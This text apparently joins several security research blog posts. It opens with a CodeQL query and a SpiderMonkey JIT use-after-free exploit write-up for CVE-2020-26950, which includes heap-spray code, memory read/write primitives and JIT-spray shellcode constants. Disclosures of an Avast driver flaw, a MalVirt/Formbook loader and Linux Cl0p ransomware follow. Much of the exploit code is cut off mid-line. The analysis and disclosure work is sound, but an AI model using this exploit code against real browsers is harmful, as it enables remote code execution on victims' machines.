exists(FunctionCall fc | (f.getName().matches("visit%") and result = f)or (fc.getTarget() = f and result = traceVisit(depth + 1, fc.getEnclosingFunction())))
}
// Find the AliasSet of a given MIR node by tracing from inheritance.
Function alias(Class c) {
(result = c.getAMemberFunction() and result.getName().matches("%getAlias%")) or (result = alias(c.getABaseClass()))
}
// Matches AliasSet::Store(), AliasSet::Load(), AliasSet::None(), and AliasSet::All()
class AliasSetFunc extends Function {
AliasSetFunc() {
(this.getName() = "Store" or this.getName() = "Load" or this.getName() = "None" or this.getName() = "All") and this.getType().getName() = "AliasSet"
}
}
from VMFunction f, FunctionCall fc, Function basef, Class c, Function aliassetf, AliasSetFunc asf, string path
where fc.getTarget().getName().matches("%allVM%") and f = fc.getATemplateArgument().(FunctionAccess).getTarget() // Find calls to the VM from JIT
and path = tracePropDef(0, f) // Where the VM function has a path to resolveConstructor (Getting the path as a string)
and basef = traceVisit(0, fc.getEnclosingFunction()) // Find what LIR node this VM function was created from
and c.getName().charAt(0) = "M" // A quick hack to check if the function is a MIR node class
and aliassetf = alias(c) // Get the getAliasSet function for this class
and asf.getACallToThisFunction().getEnclosingFunction() = aliassetf // Get the AliasSet returned in this function.
and basef.getName().substring(5, c.getName().suffix(1).length() + 5) = c.getName().suffix(1) // Get the actual node name (without the L or M prefix) to match against the visit* function
and (asf.toString() = "Load" or asf.toString() = "None") // We're only interested in Load and None alias sets.
select c, f, asf, basef, path
This produced a number of results, most of which were for properties defined for new objects such as errors. It did, however, reveal something interesting in the MCreateThis node. It appears that the node has AliasSet::Load(AliasSet::Any), despite the fact that when a constructor is called, it may generate a prototype with lazy evaluation, as described above.
However, this bug is actually unexploitable since this node is followed by either an MCall node, an MConstructArray node, or an MApplyArgs node. All three of these nodes have AliasSet::Store(AliasSet::Any), so any MSlots nodes that follow the constructor call will not be eliminated, meaning that there is no way to trigger a use-after-free.
Triggering the Vulnerability
The proof-of-concept reported to Mozilla was reduced by Jan de Mooij to a basic form. In order to make it readable, I’ve added comments to explain what each important line is doing:
function init() {
// Create an object to be read for the UAF
var target = {};
for (var i = 0; i
Exploiting CVE-2020-26950
Use-after-frees in Spidermonkey don’t get written about a lot, especially when it comes to those caused by JIT.
As with any heap-related exploit, the heap allocator needs to be understood. In Firefox, you’ll encounter two heap types:
Nursery - Where most objects are initially allocated.
Tenured - Objects that are alive when garbage collection occurs are moved from the nursery to here.
The nursery heap is relatively straight forward. The allocator has a chunk of contiguous memory that it uses for user allocation requests, an offset pointing to the next free spot in this region, and a capacity value, among other things.
Exploiting a use-after-free in the nursery would require the garbage collector to be triggered in order to reallocate objects over this location as there is no reallocation capability when an object is moved.
Due to the simplicity of the nursery, a use-after-free in this heap type is trickier to exploit from JIT code. Because JIT-related bugs often have a whole number of assumptions you need to maintain while exploiting them, you’re limited in what you can do without breaking them. For example, with this bug you need to ensure that any instructions you use between the Slots pointer getting saved and it being used when freed are not aliasing with the use. If they were, then that would mean that a second MSlots node would be required, preventing the use-after-free from occurring. Triggering the garbage collector puts us at risk of triggering a bailout, destroying our heap layout, and thus ruining the stability of the exploit.
The tenured heap plays by different rules to the nursery heap. It uses mozjemalloc (a fork of jemalloc) as a backend, which gives us opportunities for exploitation without touching the GC.
As previously mentioned, the tenured heap is used for long-living objects; however, there are several other conditions that can cause allocation here instead of the nursery, such as:
Global objects - Their elements and slots will be allocated in the tenured heap because global objects are often long-living.
Large objects - The nursery has a maximum size for objects, defined by the constant MaxNurseryBufferSize, which is 1024.
By creating an object with enough properties, the slots array will instead be allocated in the tenured heap. If the slots array has less than 256 properties in it, then jemalloc will allocate this as a “Small” allocation. If it has 256 or more properties in it, then jemalloc will allocate this as a “Large” allocation. In order to further understand these two and their differences, it’s best to refer to thesetwo sources which extensively cover the jemalloc allocator. For this exploit, we will be using Large allocations to perform our use-after-free.
Reallocating
In order to write a use-after-free exploit, you need to allocate something useful in the place of the previously freed location. For JIT code this can be difficult because many instructions would stop the second MSlots node from being removed. However, it’s possible to create arrays between these MSlots nodes and the property access.
Array element backing stores are a great candidate for reallocation because of their header. While properties start at offset 0 in their allocated Slots array, elements start at offset 0x10:
A comparison between the elements backing store and the slots backing store
If a use-after-free were to occur, and an elements backing store was reallocated on top, the length values could be updated using the first and second properties of the Slots backing store.
To get to this point requires a heap spray similar to the one used in the trigger example above:
/*
jitme - Triggers the vulnerability
*/
function jitme(cons, interesting, i) {
interesting.x1 = 10; // Make sure the MSlots is saved
new cons(); // Trigger the vulnerability - Reallocates the object slots
// Allocate a large array on top of this previous slots location.
let target = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ... ]; // Goes on to 489 to be close to the number of properties ‘cons’ has
// Avoid Elements Copy-On-Write by pushing a value
target.push(i);
// Write the Initialized Length, Capacity, and Length to be larger than it is
// This will work when interesting == cons
interesting.x1 = 3.476677904727e-310;
interesting.x0 = 3.4766779039175e-310;
// Return the corrupted array
return target;
}
/*
init - Initialises vulnerable objects
*/
function init() {
// arr will contain our sprayed objects
var arr = [];
// We'll create one object...
var cons = function() {};
for(i=0; i
Which gets us to this layout:
Before and after the use-after-free is exploited
At this point, we have an Array object with a corrupted elements backing store. It can only read/write Nan-Boxed values to out of bounds locations (in this case, the next Slots store).
Going from this layout to some useful primitives such as ‘arbitrary read’, ‘arbitrary write’, and ‘address of’ requires some forethought.
Primitive Design
Typically, the route exploit developers go when creating primitives in browser exploitation is to use ArrayBuffers. This is because the values in their backing stores aren’t NaN-boxed like property and element values are, meaning that if an ArrayBuffer and an Array both had the same backing store location, the ArrayBuffer could make fake Nan-Boxed pointers, and the Array could use them as real pointers using its own elements. Likewise, the Array could store an object as its first element, and the ArrayBuffer could read it directly as a Float64 value.
This works well with out-of-bounds writes in the nursery because the ArrayBuffer object will be allocated next to other objects. Being in the tenured heap means that the ArrayBuffer object itself will be inaccessible as it is in the nursery. While the ArrayBuffer backing store can be stored in the tenured heap, Mozilla is already very aware of how it is used in exploits and have thus created a separate arena for them:
Instead of thinking of how I could get around this, I opted to read through the Spidermonkey code to see if I could come up with a new primitive that would work for the tenured heap. While there were a number of options related to WASM, function arguments ended up being the nicest way to implement it.
Function Arguments
When you call a function, a new object gets created called arguments. This allows you to access not just the arguments defined by the function parameters, but also those that aren’t:
function arg() {
return arguments[0] + arguments[1];
}
arg(1,2);
Spidermonkey represents this object in memory as an ArgumentsObject. This object has a reserved property that points to an ArgumentsData backing store (of course, stored in the tenured heap when large enough), where it holds an array of values supplied as arguments.
One of the interesting properties of the arguments object is that you can delete individual arguments. The caveat to this is that you can only delete it from the arguments object, but an actual named parameter will still be accessible:
function arg(x) {
console.log(x); // 1
console.log(arguments[0]); // 1
delete arguments[0]; // Delete the first argument (x)
console.log(x); // 1
console.log(arguments[0]); // undefined
}
arg(1);
To avoid needing to separate storage for the arguments object and the named arguments, Spidermonkey implements a RareArgumentsData structure (named as such because it’s rare that anybody would even delete anything from the arguments object). This is a plain (non-NaN-boxed) pointer to a memory location that contains a bitmap. Each bit represents an index in the arguments object. If the bit is set, then the element is considered “deleted” from the arguments object. This means that the actual value doesn’t need to be removed and arguments and parameters can share the same space without problems.
The benefit of this is threefold:
The RareArgumentsData pointer can be moved anywhere and used to read the value of an address bit-by-bit.
The current RareArgumentsData pointer has no NaN-Boxing so can be read with the out-of-bounds array, giving a leaked pointer.
The RareArgumentsData pointer is allocated in the nursery due to its size.
To summarise this, the layout of the arguments object is as so:
The layout of the three Arguments object types in memory
By freeing up the remaining vulnerable objects in our original spray array, we can then spray ArgumentsData structures using recursion (similar to this old bug) and reallocate on top of these locations. In JavaScript this looks like:
// Global that holds the total number of objects in our original spray array
TOTAL = 0;
// Global that holds the target argument so it can be used later
arg = 0;
/*
setup_prim - Performs recursion to get the vulnerable arguments object
arguments[0] - Original spray array
arguments[1] - Recursive depth counter
arguments[2]+ - Numbers to pad to the right reallocation size
*/
function setup_prim() {
// Base case of our recursion
// If we have reached the end of the original spray array...
if(arguments[1] == TOTAL) {
// Delete an argument to generate the RareArgumentsData pointer
delete arguments[3];
// Read out of bounds to the next object (sprayed objects)
// Check whether the RareArgumentsData pointer is null
if(evil[511] != 0) return arguments;
// If it was null, then we return and try the next one
return 0;
}
// Get the cons value
let cons = arguments[0][arguments[1]];
// Move the pointer (could just do cons.p481 = 481, but this is more fun)
new cons();
// Recursive call
res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ... ]; // Goes on to 480
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it
if(res != 0) return res;
// Otherwise, repeat the base case (delete an argument)
delete arguments[3];
// Check if the next object has a null RareArgumentsData pointer
if(evil[511] != 0) return arguments; // Return arguments if not
// Otherwise just return 0 and try the next one
return 0;
}
/*
main - Performs the exploit
*/
function main() {
...
//
TOTAL=arr.length;
arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ... ]; // Goes on to 480
}
Once the base case is reached, the memory layout is as so:
The tenured heap layout after the remaining slots arrays were freed and reallocated
Read Primitive
A read primitive is relatively trivial to set up from here. A double value representing the address needs to be written to the RareArgumentsData pointer. The arguments object can then be read from to check for undefined values, representing set bits:
/*
weak_read32 - Bit-by-bit read
*/
function weak_read32(arg, addr) {
// Set the RareArgumentsData pointer to the address
evil[511] = addr;
// Used to hold the leaked data
let val = 0;
// Read it bit-by-bit for 32 bits
// Endianness is taken into account
for(let i = 32; i >= 0; i--) {
val = val = 0; i--) {
val[0] = val[0]
Write Primitive
Constructing a write primitive is a little more difficult. You may think we can just delete an argument to set the bit to 1, and then overwrite the argument to unset it. Unfortunately, that doesn’t work. You can delete the object and set its appropriate bit to 1, but if you set the argument again it will just allocate a new slots backing store for the arguments object and create a new property called ‘0’. This means we can only set bits, not unset them.
While this means we can’t change a memory address from one location to another, we can do something much more interesting. The aim is to create a fake object primitive using an ArrayBuffer’s backing store and an element in the ArgumentsData structure. The NaN-Boxing required for a pointer can be faked by doing the following:
Write the double equivalent of the unboxed pointer to the property location.
Use the bit-set capability of the arguments object to fake the pointer NaN-Box.
From here we can create a fake ArrayBuffer (A fake ArrayBuffer object within another ArrayBuffer backing store) and constantly update its backing store pointer to arbitrary memory locations to be read as Float64 values.
In order to do this, we need several bits of information:
The address of the ArgumentsData structure (A tenured heap address is required).
All the information from an ArrayBuffer (Group, Shape, Elements, Slots, Size, Backing Store).
The address of this ArrayBuffer (A nursery heap address is required).
Getting the address of the ArgumentsData structure turns out to be pretty straight forward by iterating backwards from the RareArgumentsData pointer (As ArgumentsObject was allocated before the RareArgumentsData pointer, we work backwards) that was leaked using the corrupted array:
/*
main - Performs the exploit
*/
function main() {
...
old_rareargdat_ptr = evil[511];
console.log("[+] Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));
iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
counter = 0; // Used to prevent a while(true) situation
while(counter
The next step is to allocate an ArrayBuffer and find its location:
/*
main - Performs the exploit
*/
function main() {
...
// The target Uint32Array - A large size value to:
// - Help find the object (Not many 0x00101337 values nearby!)
// - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)
target_uint32arr = new Uint32Array(0x101337);
// Find the Uint32Array starting from the original leaked Nursery pointer
iterator = dbl_to_bigint(old_rareargdat_ptr);
counter = 0; // Use a counter
while(counter
Now that the address of the ArrayBuffer has been found, a fake/clone of it can be constructed within its own backing store:
/*
main - Performs the exploit
*/
function main() {
...
// Create a fake ArrayBuffer through cloning
iterator = arr_buf_addr;
for(i=0;i
There is now a valid fake ArrayBuffer object in an area of memory. In order to turn this block of data into a fake object, an object property or an object element needs to point to the location, which gives rise to the problem: We need to create a NaN-Boxed pointer. This can be achieved using our trusty “deleted property” bitmap. Earlier I mentioned the fact that we can’t change a pointer because bits can only be set, and that’s true.
The trick here is to use the corrupted array to write the address as a float, and then use the deleted property bitmap to create the NaN-Box, in essence faking the NaN-Boxed part of the pointer:
A breakdown of how the NaN-Boxed value is put together
Using JavaScript, this can be done as so:
/*
write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
*/
function write_nan(arg, addr) {
evil[511] = addr;
for(let i = 64 - 15; i
Finally, the write primitive can then be used by changing the fake_arrbuf backing store using target_uint32arr[14] and target_uint32arr[15]:
/*
write - Write a value to an address
*/
function write(address, value) {
// Set the fake ArrayBuffer backing store address
address = dbl_to_bigint(address)
target_uint32arr[14] = parseInt(address) & 0xffffffff
target_uint32arr[15] = parseInt(address >> 32n);
// Use the fake ArrayBuffer backing store to write a value to a location
value = dbl_to_bigint(value);
fake_arrbuf[1] = parseInt(value >> 32n);
fake_arrbuf[0] = parseInt(value & 0xffffffffn);
}
The following diagram shows how this all connects together:
Address-Of Primitive
The last primitive is the address-of (addrof) primitive. It takes an object and returns the address that it is located in. We can use our fake ArrayBuffer for this by setting a property in our arguments object to the target object, setting the backing store of our fake ArrayBuffer to this location, and reading the address. Note that in this function we’re using our fake object to read the value instead of the bitmap. This is just another way of doing the same thing.
/*
addrof - Gets the address of a given object
*/
function addrof(arg, o) {
// Set the 5th property of the arguments object
arg[5] = o;
// Get the address of the 5th property
target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)
// Set the fake ArrayBuffer backing store to point to this location
target_uint32arr[14] = parseInt(target) & 0xffffffff;
target_uint32arr[15] = parseInt(target >> 32n);
// Read the address of the object o
return (BigInt(fake_arrbuf[1] & 0xffff)
Code Execution
With the primitives completed, the only thing left is to get code execution. While there’s nothing particularly new about this method, I will go over it in the interest of completeness.
Unlike Chrome, WASM regions aren’t read-write-execute (RWX) in Firefox. The common way to go about getting code execution is by performing JIT spraying. Simply put, a function containing a number of constant values is made. By executing this function repeatedly, we can cause the browser to JIT compile it. These constants then sit beside each other in a read-execute (RX) region. By changing the function’s JIT region pointer to these constants, they can be executed as if they were instructions:
/*
shellcode - Constant values which hold our shellcode to pop xcalc.
*/
function shellcode(){
find_me = 5.40900888e-315; // 0x41414141 in memory
A = -6.828527034422786e-229; // 0x9090909090909090
B = 8.568532312320605e+170;
C = 1.4813365150669252e+248;
D = -6.032447120847604e-264;
E = -6.0391189260385385e-264;
F = 1.0842822352493598e-25;
G = 9.241363425014362e+44;
H = 2.2104256869204514e+40;
I = 2.4929675059396527e+40;
J = 3.2459699498717e-310;
K = 1.637926e-318;
}
/*
main - Performs the exploit
*/
function main() {
for(i = 0;i
Throughout this post we have covered a wide range of topics, such as the basics of JIT compilers in JavaScript engines, vulnerabilities from their assumptions, exploit primitive construction, and even using CodeQL to find variants of vulnerabilities.
Doing so meant that a new set of exploit primitives were found, an unexploitable variant of the vulnerability itself was identified, and a vulnerability with many caveats was exploited.
This blog post highlights the kind of research SentinelLabs does in order to identify exploitation patterns.
SentinelLabs has discovered two high severity flaws in Avast and AVG (acquired by Avast in 2016) that went undiscovered for years affecting dozens of millions of users.
These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
SentinelLabs’ findings were proactively reported to Avast during December 2021 and the vulnerabilities are tracked as CVE-2022-26522 and CVE-2022-26523.
Avast has silently released security updates to address these vulnerabilities.
At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.
Introduction
Avast’s “Anti Rootkit” driver (also used by AVG) has been found to be vulnerable to two high severity attacks that could potentially lead to privilege escalation by running code in the kernel from a non-administrator user. Avast and AVG are widely deployed products, and these flaws have potentially left many users worldwide vulnerable to cyber attacks.
Given that these products run as privileged services on Windows devices, such bugs in the very software that is intended to protect users from harm present both an opportunity to attackers and a grave threat to users.
Security products such as these run at the highest level of privileges and are consequently highly attractive to attackers, who often use such vulnerabilities to carry out sophisticated attacks. Vulnerabilities such as this and others discovered by SentinelLabs (1, 2, 3) present a risk to organizations and users deploying the affected software.
As we reported recently, threat actors will exploit such flaws given the opportunity, and it is vital that affected users take appropriate mitigation actions. According to Avast, the vulnerable feature was introduced in Avast 12.1. Given the longevity of this flaw, we estimate that millions of users were likely exposed.
Security products ensure device security and are supposed to prevent such attacks from happening, but what if the security product itself introduces a vulnerability? Who’s protecting the protectors?
CVE-2022-26522
The vulnerable routine resides in a socket connection handler in the kernel driver aswArPot.sys. Since the two reported vulnerabilities are very similar, we will primarily focus on the details of CVE-2022-26522.
CVE-2022-26522 refers to a vulnerability that resides in aswArPot+0xc4a3.
As can be seen in the image above, the function first attaches the current thread to the target process, and then uses nt!PsGetProcessPeb to obtain a pointer to the current process PEB (red arrow). It then fetches (first time) PPEB->ProcessParameters->CommandLine.Length to allocate a new buffer (yellow arrow). It then copies the user supplied buffer at PPEB->ProcessParameters->CommandLine.Buffer with the size of PPEB->ProcessParameters->CommandLine.Length (orange arrow), which is the first fetch.
During this window of opportunity, an attacker could race the kernel thread and modify the Length variable.
As can be seen from the code snippet above, the code obtains a pointer to the PEB structure and then flips the Length field in the process command line structure.
The vulnerability can be triggered inside the driver by initiating a socket connection as shown by the following code.
Once the vulnerability is triggered, the user sees the following alert from the OS.
CVE-2022-26523
The second vulnerable function is at aswArPot+0xbb94 and is very similar to the first vulnerability. This function double fetches the Length field from a user controlled pointer, too.
This vulnerable code is a part of several handlers in the driver and, therefore, can be triggered multiple ways such as via image load callback.
Both of these vulnerabilities were fixed in version 22.1.
Impact
Due to the nature of these vulnerabilities, they can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, the vulnerabilities could be exploited as part of a second stage browser attack or to perform a sandbox escape, among other possibilities.
As we have noted with similar flaws in other products recently (1, 2, 3), such vulnerabilities have the potential to allow complete take over of a device, even without privileges, due to the ability to execute code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.
Mitigation
The majority of Avast and AVG users will receive the patch (version 22.1) automatically; however, those using air gapped or on premise installations are advised to apply the patch as soon as possible.
Conclusion
These high severity vulnerabilities, affect millions of users worldwide. As with another vulnerability SentinelLabs disclosed that remained hidden for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.
While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with dozens of millions of users affected, it is possible that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.
As part of the commitment of SentinelLabs to advancing industry security, we actively invest in vulnerability research, including advanced threat modeling and vulnerability testing of various platforms and technologies.
We would like to thank Avast for their approach to our disclosure and for quickly remediating the vulnerabilities.
Disclosure Timeline
20 December, 2021 – Initial disclosure.
04 January, 2022 – Avast acknowledges the report.
11 February, 2022 – Avast notifies us that the vulnerabilities are fixed.
SentinelLabs observed a cluster of virtualized .NET malware loaders distributed through malvertising attacks.
The loaders, dubbed MalVirt, use obfuscated virtualization for anti-analysis and evasion along with the Windows Process Explorer driver for terminating processes.
MalVirt loaders are currently distributing malware of the Formbook family as part of an ongoing campaign.
To disguise real C2 traffic and evade network detections, the malware beacons to random decoy C2 servers hosted at different hosting providers, including Azure, Tucows, Choopa, and Namecheap.
Overview
While investigating recent malvertising (malicious advertising) attacks, SentinelLabs spotted a cluster of virtualized malware loaders that has joined the trend. The loaders are implemented in .NET and use virtualization, based on the KoiVM virtualizing protector of .NET applications, in order to obfuscate their implementation and execution. We refer to these loaders as MalVirt (a recently observed and likely related implementation is referred to as KoiVM Loader). Although popular for hacking tools and cracks, the use of KoiVM virtualization is not often seen as an obfuscation method utilized by cybercrime threat actors.
Among the payloads that MalVirt loaders distribute, we spotted infostealer malware of the Formbook family as part of an ongoing campaign at the time of writing. The distribution of this malware through the MalVirt loaders is characterized by an unusual amount of applied anti-analysis and anti-detection techniques.
The current spikes in threat actors using alternative malware distribution methods to Office macros, such as malvertising, Windows Shortcuts (LNK files), and ISO files, comes as a response to Microsoft blocking by default Office macros in documents from the Internet. Malvertising is a malware delivery method that is currently very popular among threat actors, marked by a significant increase in malicious search engine advertisements in recent weeks.
The Formbook family – Formbook and its newer version XLoader – is a feature-rich infostealer malware that implements a wide range of functionalities, such as keylogging, screenshot theft, theft of web and other credentials, and staging of additional malware. For example, one of the hallmarks of XLoader is its intricatedisguising of C2 traffic.
This malware is sold on the dark web and is traditionally delivered as an attachment to phishing emails. While it is typically used by threat actors with cybercrime motivations, its use has also been recently observed as part of attacks with potentially political motivations – in September 2022, Ukraine’s CERT reported a Formbook/XLoader campaign targeting Ukrainian state organizations through war-themed phishing emails. In the case of an intricate loader, this could suggest an attempt to co-opt cybercriminal distribution methods to load more targeted second-stage malware onto specific victims after initial validation.
We focus on the MalVirt loaders and the infostealer malware subsequently distributed by them in order to highlight the effort the threat actors have invested in evading detection and thwarting analysis.
The MalVirt Loaders
We first spotted a MalVirt sample when performing a routine Google search for “Blender 3D” and examining the Ad results.
Malicious advertisements (“Blender 3D” Google search)
They can be further characterized by obfuscated namespace, class, and function names composed of alphanumeric characters, such as Birthd1y or Tota2, in the same manner as previously observed Formbook loaders.
MalVirt namespace, class, and function names
The loaders pretend to be digitally signed using signatures and countersignatures from companies such as Microsoft, Acer, DigiCert, Sectigo, and AVG Technologies USA. However, in each case the signatures are invalid, created using invalid certificates or are certificates untrusted by the system (i.e., not stored in the Trusted Root Certification Authorities certificate store). For example, the following certificate appears to be from Microsoft but doesn’t pass signature validation.
The MalVirt loaders we analyzed, especially those distributing malware of the Formbook family, implement a range of anti-analysis and anti-detection techniques, with some variations across MalVirt samples. For example, some samples patch the AmsiScanBuffer function implemented in amsi.dll to bypass the Anti Malware Scan Interface (AMSI) that detects malicious PowerShell commands.
Further, in an attempt to evade static detection mechanisms, some strings (such as amsi.dll and AmsiScanBuffer) are Base-64 encoded and AES-encrypted. The MalVirt loaders decode and decrypt such strings using hardcoded, Base64-encoded AES encryption keys.
String decryption
We also observed MalVirt samples evaluating whether they are executing within a virtual machine or an application sandbox environment. For example, detecting the VirtualBox and VMWare environments involves querying the registry keys HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest and HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools, and evaluating the presence of the drivers vboxmouse.sys, vmmouse.sys, and vmhgfs.sys on victim systems.
Detecting the Wine and Sandboxie application sandbox environments involves evaluating the presence of the wine_get_unix_file_name function in the kernel32.dll Windows library and the SbieDll.dll Sandboxie library on victim systems.
Detection of virtual machine and application sandbox environments
Process Explorer Driver
We observed MalVirt samples deploying and loading the Process Explorer driver, part of the Windows Sysinternals toolset. This includes a sample (SHA-1: 15DB79699DCEF4EB5D731108AAD6F97B2DC0EC9C) that distributes malware of the Formbook family as part of an active campaign at the time of writing. An assembly named 0onfirm, which this sample reflectively loads, deploys the Process Explorer driver in the %LOCALAPPDATA%\Temp directory under the name Иисус.sys. The driver has a valid digital signature issued by Microsoft using an expired certificate (validity period between 15 December 2020 and 12 December 2021).
0onfirm then deploys the driver by creating a service named TaskKill. The assembly creates the ImagePath, Start, Type, and ErrorControl registry values at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TaskKill to deploy the driver and configure its loading at system start-up. The name TaskKill indicates the potential malicious use of Иисус.sys – process termination with kernel privileges.
0onfirm deploys and loads Иисус.sysИисус.sys loaded at system start-up (a DriverView output)
Malware in general uses the Process Explorer driver to conduct activities with kernel privileges, such as killing processes of detection mechanisms to evade detection or duplicating process handles for tampering. For example, in late 2022, the use of the Иисус.sys driver was observed as part of the deployment (potentially also through a MalVirt loader) of a different payload – Agent Tesla. The open-source tool Backstab also demonstrates the malicious use of the Process Explorer driver.
Obfuscated .NET Virtualization
A hallmark of the MalVirt loaders is the use of .NET virtualization as an anti-analysis and -detection technique. When executed, a MalVirt sample reflectively loads an assembly, such as 0onfirm, which further orchestrates the staging of the final payload. These assemblies are virtualized using the KoiVM virtualizing protector of .NET applications, modified with additional obfuscation techniques. Code virtualization on its own is among the most advanced methods for obfuscating executables at this time.
A KoiVM-virtualized MalVirt assembly
Virtualization frameworks such as KoiVM obfuscate executables by replacing the original code, such as NET Common Intermediate Language (CIL) instructions, with virtualized code that only the virtualization framework understands. A virtual machine engine executes the virtualized code by translating it into the original code at runtime. When put to malicious use, virtualization makes malware analysis challenging and also represents an attempt to evade static analysis mechanisms.
Tools for the automated de-virtualization of virtualized executables using KoiVM, such as OldRod, can be very effective when facing the standard implementation of KoiVM. OldRod recompiles virtualized code into .NET CIL code in an attempt to recover the original code.
The current standard implementation of KoiVM defines 119 constant variables that the framework uses to virtualize code constructs. These constructs include, for example, flag and instruction opcode definitions. The variables are grouped and ordered according to the constructs they virtualize.
When initialized, KoiVM assigns values to these variables in a designated routine. This is a crucial component of the KoiVM virtualization process. Automated de-virtualization involves detecting this routine by searching for assignment instructions, and using the assigned values to recompile the virtualized code to its native form. However, MalVirt makes automated de-virtualization challenging by using a modified version of the standard KoiVM implementation with obfuscation techniques.
KoiVM constant variables
The designated KoiVM routine is obfuscated such that it conducts arithmetic operations instead of concise assignments. This is to confuse devirtualization frameworks, such as OldRod, attempting to detect the routine and extract the variable values crucial for accurate de-virtualization.
Obfuscated value assignments
To defeat this obfuscation technique, the values that the modified implementation of KoiVM assigns to the constant variables can be extracted from the memory of the virtualized MalVirt assembly while it executes. The routine can then be patched such that it assigns the appropriate value to each constant variable using concise assignments. This helps a de-virtualization framework to detect the routine and extract the values.
Values of constant variables in the memory of a virtualized MalVirt assemblyPatched value assignment routine
However, the modified implementation of KoiVM used by MalVirt adds yet another layer of obfuscation – it distorts the original order of the constant variables defined by the standard KoiVM implementation. This confuses de-virtualization frameworks and may lead to incorrect de-virtualization.
Restoring the original order can be a very challenging and time-consuming task. This involves the manual inference of the constructs that each of the 119 variables is used for based on code analysis. Alternatively, one could develop logic to automate this activity, which may prove to be an equally challenging endeavor.
Infostealer Campaign
The infostealer malware samples that the MalVirt loaders distribute are part of an on-going campaign at the time of writing. A campaign is marked by an identifier that is present in HTTP POST and GET requests issued by the malware.
The gwmr campaign identifier
Formbook and XLoader have traditionally been distributed via phishing emails and malspam via Macro-enabled Office documents. Our observation of malware of the Formbook family being distributed through MalVirt loaders suggests that it is likely that Formbook and/or XLoader are being (or will be) distributed via malvertising as well. This follows the trend of crimeware actors in their quick shift into Google malvertising.
In addition to the MalVirt loaders, Formbook and XLoader themselves implement considerable protection against analysis and detection, both at executable- and network-level.
Formbook and XLoader disguise real C2 traffic among smokescreen HTTP requests with encoded and encrypted content to multiple domains, randomly selected from an embedded list. Only one of the domains is the real C2 server and the rest are decoys. A sample we analyzed issued HTTP GET and/or POST requests with encoded and encrypted HTTP data to 17 domains (16 endpoints) listed in the IOC table below. Previous research provides detailed information on how XLoader in particular implements this technique.
The technique of camouflaging the true C2 domain through beaconing to multiple domains remains consistent with the previously noted research. The malware beacons to domains containing legitimate and/or unused registered domains. As shown in the following image, as a snapshot of some domains the malware contacts, there is a wide variety of domain times, hosting providers, and age between their relevant registration date.
Example variety of domains
The domains are hosted by a range of providers including Choopa, Namecheap, and multiple others. The random approach to domain selection is beyond the scope of this report; however, it remains a highly effective way of concealing true C2s. XLoader’s recent infrastructure concealing techniques in particular should serve as an example of how crimeware can be even more technically sophisticated than many of today’s APTs.
At an executable-level, among other anti-analysis techniques, the malware detects the presence of user- and kernel-land debuggers using the NtQueryInformationProcess and NtQuerySystemInformation functions by specifying the ProcessDebugPort (0x7) and SystemKernelDebuggerInformation (0x23) information classes. Previous researchprovides a detailed overview of the implemented anti-analysis and -detection techniques.
Debugger detection
Conclusions
As a response to Microsoft blocking Office macros by default in documents from the Internet, threat actors have turned to alternative malware distribution methods – most recently, malvertising. The MalVirt loaders we observed demonstrate just how much effort threat actors are investing in evading detection and thwarting analysis.
Malware of the Formbook family is a highly capable infostealer that is deployed through the application of a significant amount of anti-analysis and anti-detection techniques by the MalVirt loaders. Traditionally distributed as an attachment to phishing emails, we assess that threat actors distributing this malware are likely joining the malvertising trend.
Given the massive size of the audience threat actors can reach through malvertising, we expect malware to continue being distributed using this method.
SentinelLabs has observed the first Linux variant of Cl0p ransomware.
The ELF executable contains a flawed encryption algorithm making it possible to decrypt locked files without paying the ransom.
SentinelLabs has published a free decryptor for this variant here.
Background
SentinelLabs observed the first ELF variant of Cl0p (also known as Clop) ransomware variant targeting Linux systems on the 26th of December 2022. The new variant is similar to the Windows variant, using the same encryption method and similar process logic.
The mentioned sample appears to be part of a bigger attack that possibly occurred around the 24th of December against a University in Colombia (sample1, sample2, sample3, sample4, sample5). On the 5th of January the cybercrime group leaked victim’s data on their onion page.
ELF Technical Analysis
The ELF Cl0p variant is developed in a similar logic to the Windows variant, though it contains small differences mostly attributed to OS differences such as API calls. It appears to be in its initial development phases as some functionalities present in the Windows versions do not currently exist in this new Linux version.
A reason for this could be that the threat actor has not needed to dedicate time and resources to improve obfuscation or evasiveness due to the fact that it is currently undetected by all 64 security engines on VirusTotal. SentinelOne Singularity detects Cl0p ransomware on both Linux and Windows devices.
SentinelOne Singularity detects Cl0p Linux ransomware
Initially, the ransomware creates a new process by calling fork and exits the parent-process. The child-process sets its file mode creation mask to any permission (read, write, execute) by calling umask(0). It then calls setsid, creates a session and sets the process group ID. It tries to access root by changing the working directory to “/” (chdir(“/”)). Once the permissions are set, the ransomware proceeds encrypting other directories.
Targeted Folders & Files
While the Windows versions contain a hashing algorithm in order to avoid encrypting specific folders and files, such functionality was not observed in the Linux variant. The ELF variant targets specific folders, subfolders and all files/types.
The discovered ELF sample targets files contained in the following directories for encryption, though we do not exclude the possibility of future versions including more directories.
Folder
Description
/opt
Contains subdirectories for optional software packages
/u01
Oracle Directory, mount point used for the Oracle software only.
/u02
Oracle Directory, used for the database files.
/u03
Oracle Directory, used for the database files.
/u04
Oracle Directory, used for the database files.
